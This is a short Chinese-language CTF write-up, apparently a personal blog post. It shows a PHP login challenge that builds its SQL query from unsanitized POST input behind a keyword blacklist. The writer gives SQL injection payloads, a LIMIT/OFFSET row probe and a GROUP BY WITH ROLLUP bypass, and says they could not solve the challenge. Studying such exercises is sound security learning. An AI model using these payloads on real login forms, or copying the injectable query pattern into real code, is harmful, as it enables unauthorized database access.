源码如下

```php
<?php
 show_source("04.php");
   echo '<br>';
error_reporting(0);
require 'flag.php';
if (1) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
     echo '<input type="submit" />'."<br/>";
     echo '</form>'."<br/>";
     echo '<!--source: source.txt-->'."<br/>";

}

function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){

        $StrValue=implode($StrValue);

    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){

        print "水可载舟，亦可赛艇！";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){


    AttackFilter($key,$value,$filter);
}

require('config.php');
$sql="SELECT * FROM userinfo WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
```

```
    $key = mysql_fetch_array($query);
    if($key['pwd'] == md5($_POST['pwd'])) {
        print "$flag";
    }else{
        print "亦可赛艇！";
    }
}else{
    print "一颗赛艇！";
}

mysql_close($con);
?>
```

这个题我真是修不上了，应该是在数据库内group by搜索的地方有问题

但是前面的验证是可以通过的

利用以下payload来判断条数

```
1' or 1 limit 1 offset 2#
```

存在则是亦可赛艇

不存在或超出就是一颗赛艇

但是下一步的绕过就做不出来，网上使用了group by 函数

但是我做不出来

```
admin’ GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-
```